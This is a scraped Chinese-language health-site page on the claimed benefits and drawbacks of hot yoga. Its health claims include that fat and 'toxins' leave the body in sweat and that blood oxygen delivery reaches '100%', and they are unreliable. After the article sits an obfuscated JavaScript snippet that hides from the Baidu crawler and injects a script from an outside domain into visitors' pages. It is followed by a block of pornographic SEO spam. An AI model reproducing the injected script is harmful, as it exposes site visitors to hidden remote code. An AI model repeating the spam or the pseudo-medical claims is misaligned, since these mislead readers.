當前位置:首頁 > 健康 > 運動健身 > 正文

高溫瑜伽有哪些作用呢?

2017-04-15 22:59:01  來源:360常識網   熱度:
導語:瑜伽是一種很受人們喜歡的養生運動,練習瑜伽能夠瘦身塑形,也能夠讓自己心平氣和。至于高溫瑜伽自己還是第一次聽說過,高溫瑜伽要求在室溫

瑜伽是一種很受人們喜歡的養生運動,練習瑜伽能夠瘦身塑形,也能夠讓自己心平氣和。至于高溫瑜伽自己還是第一次聽說過,高溫瑜伽要求在室溫35℃至42℃的條件下,在一個小時內完成26個固定動作。為什么要在高溫下練習瑜伽呢?難道有什么特殊的好處?一起來看看吧。

高溫瑜伽的倡導者認為,這套動作可在90分鐘內協調地把身體恢復到一個平衡的境界,使全身都得到鍛煉,能夠系統地把充滿氧氣的新鮮血液100%地輸送到身體的各個部位,讓它們恢復到健康的、自然的工作狀態。這樣,即使是平時里非常缺少運動的身體,也可以更輕易完成不同的伸展動作,不容易受傷。所以高溫瑜伽非常適合初學者或長期缺乏運動的人。

高溫瑜伽·功效

1.減重(對因組織細胞積水而造成的肥胖效果顯著)。

3.增強心、肺和腎的功能(通過練習呼吸和全身的運動達到此效果)。

4.增加身體的柔韌性、降低疼痛的感覺和減少受傷的機會。

5.調節個人的情緒及壓力,使心境平和、樂觀。

6.促進新陳代謝,增強免疫力,改善關節的靈活性。

7.刺激淋巴系統,排出體內毒素,迅速消脂,令皮膚亮麗、有光澤。

8.平衡飲食及調節內分泌。

9.通過調節壓力而達到促進睡眠的作用。

10.促進血液循環。

高溫瑜伽對體形鍛煉、體態塑造和身體健康都很有幫助。高溫瑜伽對人體最大的作用是其排毒過程,它通過溫度和速度的練習,使人體的排汗量比平時多出幾倍,身體里多余的脂肪通過汗水排出來,從而起到排毒和消脂作用。一節高溫瑜伽課的長度大概為90分鐘,動作編排基本上是固定的,練習都必須依照順序一個接一個地練。經過90分鐘的練習后,身體能達到一個平衡的境界。

是不是覺得高溫瑜伽的益處多多呢?既然有好處就一定有它的壞處了,從瑜伽的養生角度,高溫瑜伽對生命能量的消耗太大,高溫環境使人的代謝很旺盛,這本身就是一種消耗,再做一些力量式的瑜伽動作時,就會加速人體器官的衰老,誘發疾病產生。那么選擇權就在你們的手上了。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品嫩草影院在线| 国产伦精品一区二区三区不卡| 中文国产成人精品久久水| 国产美女精品人人做人人爽| 亚洲国产精品嫩草影院| 91成人午夜在线精品| 亚洲中文字幕久久精品无码2021| 一区二区精品在线| 久99久热只有精品国产男同| 国产一成人精品福利网站| 在线私拍国产福利精品| 国产AV国片精品一区二区| 九九久久精品国产AV片国产| 国产精品国产三级国产在线观看| 国产精品日韩一区二区三区| 欧美精品久久天天躁| 精品videossexfreeohdbbw| 国产精品电影一区| 亚洲精品国产综合久久久久紧 | WWW国产亚洲精品久久麻豆| 伊人久久精品一区二区三区| 亚洲精品中文字幕| 97色精品视频在线观看| 精品久久洲久久久久护士| 成人国产精品一级毛片视频| 国产精品国产三级国产普通话a | 国产成人精品一区在线| 亚洲综合国产精品第一页 | 精品国产香蕉伊思人在线又爽又黄| 久久久久国产精品免费免费搜索| 精品久久久久久久无码久中文字幕 | 亚洲精品亚洲人成在线观看| 亚洲精品无码国产| 久久久久久久久毛片精品| 99热这里只有精品7| 国产成人愉拍精品| 精品国产亚洲第一区二区三区| 国产精品乱子乱XXXX| 亚洲午夜精品一级在线播放放| 久久精品国产亚洲一区二区三区| 久久99久久99小草精品免视看|